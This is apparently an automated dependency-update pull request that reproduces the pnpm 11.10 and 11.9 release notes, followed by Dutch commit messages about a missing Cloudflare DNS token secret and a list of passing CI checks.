            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/nx.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/nx_light.svg" />
            <img src="https://pnpm.io/img/users/nx.svg" width="50" alt="Nx" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

<!-- sponsors end -->

### [`v11.10.0`](https://github.com/pnpm/pnpm/releases/tag/v11.10.0): pnpm 11.10

[Compare Source](https://github.com/pnpm/pnpm/compare/v11.9.0...v11.10.0)

#### Minor Changes

- [`e2e3c81`](e2e3c81): Added the `issues` command as an alias of `bugs`, so `pnpm issues` opens the package's bug tracker URL in the browser.

- [`8491f8e`](8491f8e): Added the `prefix` command which prints the current package prefix directory (or global prefix directory if `-g` / `--global` is used).

- [`3425e80`](3425e80): Added an `_auth` setting for configuring registry authentication as a single structured (URL-keyed) value. It can be set in the **global** pnpm config (`config.yaml`) or, for CI, via the `pnpm_config__auth` environment variable. The env form sidesteps the GitHub Actions / bash / zsh limitation that broke the existing `pnpm_config_//host/:_authToken=…` form (env var names containing `/`, `:`, or `.` are silently dropped). Closes [#&#8203;12314](https://github.com/pnpm/pnpm/issues/12314).

  The value is keyed by registry URL so each secret is explicitly bound to the host that may receive it. Registry URL keys must use `http` or `https` and must not include credentials, query strings, or fragments:

  ```sh
  export pnpm_config__auth='{"https://registry.npmjs.org":{"@&#8203;":{"authToken":"npm-token"},"@&#8203;org":{"authToken":"org-token"}}}'
  ```

  The equivalent in the global `config.yaml`:

  ```yaml
  _auth:
    https://registry.npmjs.org:
      "@&#8203;":
        authToken: npm-token
      "@&#8203;org":
        authToken: org-token
  ```

  Within each registry URL, `@` means registry-wide/default credentials and package scopes like `@org` bind credentials to that scope on the same host. The only supported credential field is `authToken` (maps to `_authToken` / bearer auth); the deprecated `basicAuth` / `username` + `password` forms are intentionally not accepted here.

  Each entry also infers a trusted registry route: `@` routes the default registry (and `pnpm add <pkg>` resolves there), and `@org` routes that scope. Because the credential and destination host arrive in one trusted value, repo-controlled `pnpm-workspace.yaml` or project `.npmrc` cannot redirect the token to a different host. `_auth` is honored **only** from the env var and the global config — it is ignored in a project `pnpm-workspace.yaml` / `.npmrc`, so repo-controlled config can never supply registry auth. Precedence: CLI flags (`--registry`, `--@&#8203;scope:registry`) > `pnpm_config__auth` > global `config.yaml` `_auth` > `pnpm-workspace.yaml`.

  Both `pnpm_config__auth` (lowercase, documented form) and `PNPM_CONFIG__AUTH` (all-caps, the shell convention some CI runners apply) are honored. If both are set, lowercase wins unless it is empty, in which case uppercase is used. The env var wins over the global `config.yaml` `_auth` on a conflicting key. `tokenHelper` is not supported in `_auth`. Parsing is strict: a malformed value (bad JSON, wrong shape, invalid registry URL or scope, an unsupported credential field) fails fast with an error rather than being silently dropped.

  **Pacquet parity note:** the pacquet (Rust) port supports the same single credential field as the TS CLI: `authToken`.

- [`a33eeec`](a33eeec): `pnpm self-update` and `packageManager` version-switching can now install and link pnpm v12 (the Rust port), published with equal content under both the `pnpm` and `@pnpm/exe` names on the `next-12` dist-tag. Its native binaries ship as `@pnpm/exe.<platform>-<arch>` packages, which pnpm's built-in installer links directly — no Node.js launcher, so the command pays no Node startup cost. v12 is initialized exactly like `@pnpm/exe`, including per-platform global-virtual-store hashing. From v12 onward the install converges on the unscoped `pnpm` package (the Rust exe) — even when updating from the SEA `@pnpm/exe` build.

- [`1dd12bd`](1dd12bd): When resolving through a pnpr install-accelerator server, pnpm no longer forwards its own upstream registry credentials in the resolve request. Only the `Authorization` header identifying the caller to pnpr is sent. The pnpr server now selects upstream credentials from its own route policy (operator-configured upstream credential aliases), so private dependencies resolve through a pnpr-managed alias the caller is authorized to use, rather than by sending the client's registry tokens to the server.

- [`1e81761`](1e81761): Expose web authentication `authUrl` and `doneUrl` in JSON error output when OTP is required in a non-interactive terminal [#&#8203;12724](https://github.com/pnpm/pnpm/issues/12724).

#### Patch Changes

- [`2f389d6`](2f389d6): Added the Node.js release team's new signing key (Stewart X Addison, `655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD`) to the embedded Node.js release keys, so runtimes whose `SHASUMS256.txt` is signed by the new releaser verify successfully.

- [`acbdb94`](acbdb94): Fixed shell tab completion not suggesting workspaces after the `-F` alias for `--filter` option.

- [`dcabb78`](dcabb78): Fixed `pnpm up -r <pkg>` bumping unrelated packages that have open semver ranges. Previously, any update mutation nullified the lockfile-derived `preferredVersions` globally, so packages with `^x.y.z` ranges could re-resolve to newer compatible versions even though the user only asked to update a specific package. The install layer now always seeds `preferredVersions` from the lockfile, and caller-supplied preferred versions (such as the vulnerability penalties of `pnpm audit --fix`) layer on top of the seed instead of replacing it. The targeted package still bumps: the per-resolve `updateRequested` flag makes the resolver ignore the target's own lockfile pins.

  Closes [#&#8203;10662](https://github.com/pnpm/pnpm/issues/10662).

- [`d539172`](d539172): Fixed pnpm pack and pnpm publish failing when prepack generates files that are included in the package and postpack cleans them up.

- [`be6505a`](be6505a): Hardened global package management:

  - On Windows, removing or updating a global package now also cleans up the `node.exe` flavor of a bin, so a stale `node.exe` no longer survives on `PATH` after uninstall, and a new global install no longer silently overwrites an existing `node.exe`.
  - `pnpm add -g pnpm@<version>` (and `@pnpm/exe@<version>`) is now rejected like the bare `pnpm` form, pointing to `pnpm self-update`.
  - Dependency aliases read from a global package's manifest are validated before being joined onto `node_modules` paths, preventing a tampered manifest from escaping the install directory.
  - Each global install group is created in its own freshly-made directory (no longer reusing a colliding or pre-existing path).
  - Removing or updating a global package no longer unlinks a bin that belongs to a different globally installed package.

- [`25c7388`](25c7388): pnpm now rejects `jsr:` specifiers whose package name is not a valid npm package name — an empty scope or name (e.g. `jsr:@&#8203;scope/`), path separators inside the name, or any other shape `validate-npm-package-name` rejects — with `ERR_PNPM_INVALID_JSR_PACKAGE_NAME` instead of silently converting them into a malformed `@jsr/...` npm package name.

- [`25c7388`](25c7388): pnpm now rejects named-registry specifiers (e.g. `gh:`) whose package name is not a valid npm package name — an empty scope (e.g. `gh:@&#8203;/bar`), path separators inside the name (e.g. `gh:@&#8203;scope/../name`), or any other shape `validate-npm-package-name` rejects — with `ERR_PNPM_INVALID_NAMED_REGISTRY_PACKAGE_NAME` instead of passing the name through to registry URLs and metadata cache file paths.

- [`96da7c5`](96da7c5): node-gyp's `gyp_main.py` and `gyp` entrypoints are now packed with the executable bit in the `pnpm` and `@pnpm/exe` tarballs. Without it, building native addons from source could fail with a permission error.

- [`99982b9`](99982b9): Sped up resolution and reduced memory use against registries that ignore npm's abbreviated metadata format and always return the full package document (for example, Azure DevOps Artifacts). pnpm now strips such documents down to the abbreviated field set before caching them. Resolution output is unchanged, and registries that honor the abbreviated format (such as the npm registry) pay no extra cost.

- [`11a7fdd`](11a7fdd): Sped up offline and `--prefer-offline` resolution on large workspaces (e.g. `pnpm dedupe --offline`, `pnpm install --offline`). Package metadata loaded from the local cache is now kept in memory, so each package's metadata is parsed once per command instead of once per dependent that references it.

- [`2c7369d`](2c7369d): `pnpm pack-app` now rejects `--entry` / `pnpm.app.entry` and `--output-dir` / `pnpm.app.outputDir` values that are absolute paths or escape the project directory via `..` (or a symlink that resolves outside it), and refuses to write the produced executable when its target path already exists as a symlink (or other non-regular file). This prevents a repository-controlled `package.json` from embedding host files (such as an SSH key) into the produced executable, writing build artifacts outside the project, or overwriting an arbitrary file through a committed symlink. The new error codes are `ERR_PNPM_PACK_APP_ENTRY_OUTSIDE_PROJECT`, `ERR_PNPM_PACK_APP_OUTPUT_DIR_OUTSIDE_PROJECT`, and `ERR_PNPM_PACK_APP_OUTPUT_FILE_NOT_REGULAR`.

  When ad-hoc signing macOS targets, `pnpm pack-app` now runs the system `codesign` by absolute path and resolves `ldid` to a location outside the project, so a repository-controlled `node_modules/.bin` on `PATH` cannot hijack the signer.

- [`ce5d5a5`](ce5d5a5): Relative paths in `patchedDependencies` are now resolved against the lockfile directory when computing patch file hashes, so running `pnpm install` from a subdirectory no longer fails with `ENOENT` looking for the patch file in the wrong location [#&#8203;12762](https://github.com/pnpm/pnpm/pull/12762).

- [`ebb4096`](ebb4096): `pnpm peers` no longer reports a conflict for a missing peer dependency that is ignored via `pnpm.peerDependencyRules.ignoreMissing`.

- [`dcabb78`](dcabb78): Fixed a prototype-pollution hazard when seeding preferred versions: a dependency named `__proto__` in a manifest or in `pnpm-lock.yaml` could write through `Object.prototype` (or crash the install) while the preferred-versions map was being built. The maps are now null-prototype objects, so crafted package names land as plain keys.

- [`f38e696`](f38e696): Hardened `pnpm deploy --force` so it refuses unsafe deploy targets such as workspace roots, parent directories, out-of-workspace paths, and symlinked target parents.

- [`806c3ec`](806c3ec): pnpm no longer warns about ignored project-level auth settings when `PNPM_CONFIG_NPMRC_AUTH_FILE` points at the project `.npmrc` — setting it to that file is an explicit opt-in to trusting it, so auth env variables in it are expanded [pnpm/pnpm#12480](https://github.com/pnpm/pnpm/issues/12480).

- [`991405e`](991405e): Restore differential rendering (`ansi-diff`) to fix duplicated output lines introduced by [#&#8203;12351](https://github.com/pnpm/pnpm/issues/12351).

- [`c121235`](c121235): Fixed the topological order of `--filter`ed commands (`pnpm run`, `pnpm exec`, `pnpm publish`, `pnpm pack`, `pnpm rebuild`) when the selected projects depend on each other only transitively through projects that were not selected. Previously such selected projects could run concurrently or in the wrong order; now a project always runs after the selected projects it transitively depends on, while projects without a real dependency relationship still run concurrently. This now also holds for prod-only filters (`--filter-prod`), which resolve order through the production dependency graph so transitive production dependencies are respected without pulling back the dev dependencies the filter drops, and for selections that mix `--filter` with `--filter-prod` [#&#8203;8335](https://github.com/pnpm/pnpm/issues/8335).

- [`d539172`](d539172): `pnpm pack` and `pnpm publish` no longer follow a symlinked workspace `LICENSE` file when injecting it into a package that has no license of its own. Following the symlink could pack bytes from outside the workspace into the published tarball.

- [`dcabb78`](dcabb78): Fixed `pnpm up <pkg>` producing a different result than a fresh install of the same manifests would. The resolver now distinguishes `updateRequested` (true only for packages that match the user's update target) from the broader `update` flag, and for the targeted package ignores only its own lockfile-derived preferred-version pins — so the target re-resolves exactly as if its lockfile entries were deleted and `pnpm install` ran. Preferred versions a fresh install applies (manifest pins, versions propagated down the dependency chain, and the vulnerability-avoidance penalties of `pnpm audit --fix`) stay in effect, so an update never installs duplicate versions that a reinstall from scratch would not reproduce. When a preferred version holds the update target below the newest version its range admits, pnpm now prints a warning explaining that reaching the newer version everywhere requires an override.

- [`dcabb78`](dcabb78): `pnpm update <dep>@&#8203;<version>` now prints a warning when `<dep>` is only present as a transitive dependency: the requested version cannot be applied there (updates resolve the target the way a fresh install would), and the warning recommends adding the version to `pnpm.overrides` instead, which is the mechanism that does pin transitive dependencies. Closes [#&#8203;12744](https://github.com/pnpm/pnpm/issues/12744).

- [`a6c4d5f`](a6c4d5f): When a dependency cannot be found in the registry (404) or the registry has no matching version, and a workspace project with the same name exists only at non-matching versions, the error now reports the available workspace versions (`ERR_PNPM_NO_MATCHING_VERSION_INSIDE_WORKSPACE`) instead of the raw registry failure [pnpm/pnpm#1379](https://github.com/pnpm/pnpm/issues/1379). Other registry failures (authorization, network, server errors) still propagate unchanged. The pacquet (Rust) resolver applies the same behavior.

<!-- sponsors -->

#### Platinum Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://bit.cloud/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer"><img src="https://pnpm.io/img/users/bit.svg" width="80" alt="Bit"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://openai.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/openai_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/openai_light.svg" />
            <img src="https://pnpm.io/img/users/openai_dark.svg" width="160" alt="OpenAI" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

#### Gold Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://sanity.io/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/sanity.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/sanity_light.svg" />
            <img src="https://pnpm.io/img/users/sanity.svg" width="120" alt="Sanity" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://discord.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/discord.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/discord_light.svg" />
            <img src="https://pnpm.io/img/users/discord.svg" width="220" alt="Discord" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://vite.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer"><img src="https://pnpm.io/img/users/vitejs.svg" width="42" alt="Vite"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://serpapi.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/serpapi_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/serpapi_light.svg" />
            <img src="https://pnpm.io/img/users/serpapi_dark.svg" width="160" alt="SerpApi" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://coderabbit.ai/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/coderabbit.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/coderabbit_light.svg" />
            <img src="https://pnpm.io/img/users/coderabbit.svg" width="220" alt="CodeRabbit" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://stackblitz.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/stackblitz.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/stackblitz_light.svg" />
            <img src="https://pnpm.io/img/users/stackblitz.svg" width="190" alt="Stackblitz" />
          </picture>
        </a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://workleap.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/workleap.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/workleap_light.svg" />
            <img src="https://pnpm.io/img/users/workleap.svg" width="190" alt="Workleap" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://nx.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/nx.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/nx_light.svg" />
            <img src="https://pnpm.io/img/users/nx.svg" width="50" alt="Nx" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

<!-- sponsors end -->

### [`v11.9.0`](https://github.com/pnpm/pnpm/releases/tag/v11.9.0): pnpm 11.9

[Compare Source](https://github.com/pnpm/pnpm/compare/v11.8.0...v11.9.0)

#### Minor Changes

- [`bae694f`](bae694f): Some registries generate tarballs on-demand and cannot provide an integrity checksum in their package metadata. In that case pnpm now computes the integrity from the downloaded tarball and stores it in the lockfile, so the entry is verifiable on subsequent installs instead of being written without an integrity (which would fail the next install). This also applies to `--lockfile-only`: the tarball is downloaded so its integrity can be computed. A lockfile entry that is still missing its integrity is rejected as a `ERR_PNPM_MISSING_TARBALL_INTEGRITY` lockfile verification violation (the install fails closed) rather than being silently re-fetched.
- [`6c35a43`](6c35a43): Added `--exclude-peers` to `pnpm sbom`. With `auto-install-peers` (the default), peer dependencies resolve into the lockfile and are otherwise indistinguishable from the package's own dependencies. The flag drops peer dependencies (and any transitive subtree reachable only through them) from the SBOM. CycloneDX 1.7 has no scope or relationship that expresses "consumer-provided peer", so omission is the only spec-clean handling. The flag name matches `pnpm list --exclude-peers`; note the SBOM flag prunes a peer's exclusive subtree, which is stricter than `pnpm list` (which only hides leaf peers).

#### Patch Changes

- [`25a829e`](25a829e): `pnpm audit --fix` now writes a single combined `minimumReleaseAgeExclude` entry per package (e.g. `axios@0.18.1 || 0.21.1`) instead of one entry per version, matching the format documented for the setting. Existing per-version entries in `pnpm-workspace.yaml` are merged into the combined form rather than left as duplicates. Installs that auto-collect immature versions into `minimumReleaseAgeExclude` now report the same combined entries, so the "Added N entries" message matches what is written to the manifest [#&#8203;12534](https://github.com/pnpm/pnpm/issues/12534).

- [`1cbb5f2`](1cbb5f2): Fixed non-deterministic peer resolution that could add or remove an optional transitive peer — for example `@babel/core`, reached through `styled-jsx` — from a package's peer-dependency suffix across otherwise identical installs, churning the lockfile and causing intermittent `pnpm dedupe --check` failures in CI. When a package's children are resolved by one occurrence (the "owner") and reused by a deeper consumer, whether that consumer inherited the owner's missing peers depended on whether the owner's resolution had finished yet — a race under concurrent resolution. The decision is now a function of the dependency graph's structure rather than resolution-completion order.

- [`d577eea`](d577eea): Fixed a Windows flakiness in `pnpm dlx` where a failed install could surface a spurious `EBUSY: resource busy or locked` error. The cleanup of a partially-populated dlx cache is now best-effort with retries and no longer masks the original error.

- [`ec7cf70`](ec7cf70): Shortened the `pnpm dlx` cache path so deep dependency trees no longer overflow Windows' `MAX_PATH`, which could make a dependency's lifecycle script fail with `spawn cmd.exe ENOENT`.

- [`05b95ab`](05b95ab): Fixed `pnpm` hanging (and crashing with an unhandled promise rejection) when a non-retryable network error such as `SELF_SIGNED_CERT_IN_CHAIN` occurs while fetching from a registry. The error is now rejected through the returned promise instead of being thrown inside the detached retry callback.

- [`d3f68e2`](d3f68e2): Fix a `pnpm audit` performance regression on lockfiles that contain dependency cycles. The reachable-vulnerability pruning added in pnpm 11.5.1 only memoized acyclic subtrees, so any node whose subtree touched a cycle — together with all of its ancestors — was recomputed on every query, making the path walk quadratic. Reachability is now computed once per node using Tarjan's strongly-connected-components algorithm, so cyclic graphs are handled in linear time [#&#8203;12212](https://github.com/pnpm/pnpm/issues/12212).

  The audit path walk also no longer recurses, so a deeply nested dependency graph can no longer overflow the call stack, and the install path to each finding is tracked without per-node copying, keeping memory linear in the graph depth.

- [`322f88f`](322f88f): Fix failed optional dependency updates so they don't rewrite unrelated dependency specs [#&#8203;11267](https://github.com/pnpm/pnpm/issues/11267).

- [`1488db1`](1488db1): When `enableGlobalVirtualStore` is toggled on for a project that was previously installed without it, stale hoisted symlinks under `node_modules/.pnpm/node_modules` are now replaced instead of being left pointing at the old per-project virtual store location [#&#8203;9739](https://github.com/pnpm/pnpm/issues/9739).

- [`6545793`](6545793): Fixed `pnpm install --ignore-workspace` overwriting the `allowBuilds` map in `pnpm-workspace.yaml`. The ignored builds of a package with a build script were auto-populated into `allowBuilds` even though `--ignore-workspace` was passed, clobbering committed `true`/`false` values with the `set this to true or false` placeholder [#&#8203;12469](https://github.com/pnpm/pnpm/issues/12469).

- [`fbdc0eb`](fbdc0eb): Fixed `minimumReleaseAgeExclude` and `trustPolicyExclude` so multiple exact-version entries for the same package behave the same as a single `||` disjunction entry. Previously only the first matching rule's versions were honored, so a config like `[form-data@4.0.6, form-data@2.5.6]` could still flag `form-data@2.5.6` as violating `minimumReleaseAge`, while `[form-data@4.0.6 || 2.5.6]` worked as expected [#&#8203;12463](https://github.com/pnpm/pnpm/issues/12463).

- [`fa7004b`](fa7004b): The in-memory package metadata cache is now populated on the exact-version disk fast path, so repeated resolutions of the same package within one install no longer re-read and re-parse the on-disk metadata. In large monorepos this brings the time for adding a new package down from minutes to seconds. The in-memory cache key now also includes the registry, so a package of the same name served by two different registries in a single install can no longer share a cache slot and resolve the wrong tarball.

- [`0a154b1`](0a154b1): Fixed `pnpm patch` dropping the package name (and leaking internal option fields) when the patched dependency resolves to a single git-hosted version.

- [`4d3fe4b`](4d3fe4b): The pnpr resolver endpoints moved under the reserved `/-/pnpr` namespace: `POST /v1/resolve` is now `POST /-/pnpr/v0/resolve` and `POST /v1/verify-lockfile` is now `POST /-/pnpr/v0/verify-lockfile`. The capability handshake at `GET /-/pnpr` advertises protocol version `0` to match. This keeps every pnpr-proprietary route in npm's reserved namespace, so it can never collide with a package path.

- [`0ec878d`](0ec878d): Removing a runtime dependency now removes the matching `devEngines.runtime` or `engines.runtime` entry that was materialized from it. Blank runtime selectors are normalized to `latest`.

- [`17e7f2c`](17e7f2c): `pnpm sbom` now emits a CycloneDX `issue-tracker` external reference for components (and the root) whose `package.json` declares a `bugs` URL. Email-only `bugs` entries are skipped, since the reference requires a URL.

- [`a84d2a1`](a84d2a1): Add `@pnpm/resolving.tarball-url`, which builds and recognizes the canonical npm tarball URL of a package. It vendors `getNpmTarballUrl` (previously the external `get-npm-tarball-url` package) and adds `isCanonicalRegistryTarballUrl`, the predicate the lockfile writer uses to decide whether a tarball URL is derivable from name+version+registry (and can therefore be omitted from `pnpm-lock.yaml`).

  Exposing `isCanonicalRegistryTarballUrl` lets a custom resolver (pnpmfile `resolvers`) fronting a proxy that serves tarballs on a non-canonical path (e.g. an ephemeral `localhost:<port>`) rewrite the resolved tarball to the canonical form, so nothing host-specific is persisted to the lockfile. Previously this logic was private to `@pnpm/lockfile.utils`.

  Two correctness fixes are included while consolidating the logic: the scoped-package unescape now handles uppercase `%2F` as well as `%2f` (percent-encoding is case-insensitive), and protocol-insensitive comparison strips only a leading `http(s)://` scheme instead of splitting on the first `://` (which could truncate URLs containing a later `://`).

- [`852d537`](852d537): Lockfile verification no longer reports a registry metadata fetch failure (for example a `403`/`401` on a private registry, or a network error) as `ERR_PNPM_TARBALL_URL_MISMATCH`. When the registry can't be reached to verify an entry, the install now aborts with the registry's own fetch error (such as `ERR_PNPM_FETCH_403`, which already explains the authentication situation) instead of mislabeling a transport failure as lockfile tampering. Registry fetch errors no longer leak basic-auth credentials embedded in the registry URL (`https://user:pass@host/`) into their message.

<!-- sponsors -->

#### Platinum Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://bit.cloud/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer"><img src="https://pnpm.io/img/users/bit.svg" width="80" alt="Bit"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://openai.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/openai_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/openai_light.svg" />
            <img src="https://pnpm.io/img/users/openai_dark.svg" width="160" alt="OpenAI" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

#### Gold Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://sanity.io/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/sanity.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/sanity_light.svg" />
            <img src="https://pnpm.io/img/users/sanity.svg" width="120" alt="Sanity" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://discord.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/discord.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/discord_light.svg" />
            <img src="https://pnpm.io/img/users/discord.svg" width="220" alt="Discord" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://vite.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer"><img src="https://pnpm.io/img/users/vitejs.svg" width="42" alt="Vite"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://serpapi.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/serpapi_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/serpapi_light.svg" />
            <img src="https://pnpm.io/img/users/serpapi_dark.svg" width="160" alt="SerpApi" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://coderabbit.ai/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/coderabbit.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/coderabbit_light.svg" />
            <img src="https://pnpm.io/img/users/coderabbit.svg" width="220" alt="CodeRabbit" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://stackblitz.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/stackblitz.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/stackblitz_light.svg" />
            <img src="https://pnpm.io/img/users/stackblitz.svg" width="190" alt="Stackblitz" />
          </picture>
        </a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://workleap.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/workleap.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/workleap_light.svg" />
            <img src="https://pnpm.io/img/users/workleap.svg" width="190" alt="Workleap" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://nx.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/nx.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/nx_light.svg" />
            <img src="https://pnpm.io/img/users/nx.svg" width="50" alt="Nx" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

<!-- sponsors end -->

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Amsterdam)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzEuMyIsInVwZGF0ZWRJblZlciI6IjQzLjI3MS4zIiwidGFyZ2V0QnJhbmNoIjoiZGV2ZWxvcG1lbnQiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIiwicmVub3ZhdGUiLCJzZWN1cml0eSIsInR5cGUvbWlub3IiXX0=-->

Reviewed-on: #1
De preview-job faalt sinds de lane landde op "if cloudflare apitoken is not
set". Het reposecret CLOUDFLARE_DNS_TOKEN is nooit geschreven, omdat OpenBao
secret/cloudflare/dnscontrol niet bestaat: de ExternalSecret staat op
SecretSyncedError en de hourly CronJob slaat de PUT stil over.

Het runbook krijgt de hele keten met de commando's om hem te herstellen, en het
uitrolplan wees naar cloudflare/dns, het token van external-dns met een andere
sleutel en een andere scope.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
chore(config): minor, patch en security mergen zichzelf als de gate groen is
All checks were successful
[Workflow] On Documentation Change / Docs links (push) Successful in 1m19s
[Workflow] On Documentation Change / techdocs (push) Successful in 26s
[Workflow] On Documentation Change / Generate (push) Successful in 0s
[Workflow] On Documentation Change / Deploy (docs site / Garage web) (push) Has been skipped
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 1m49s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 1m55s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 2m10s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Content Validation-1 (push) Successful in 2m49s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 2m51s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 1m16s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 2m31s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 9m14s
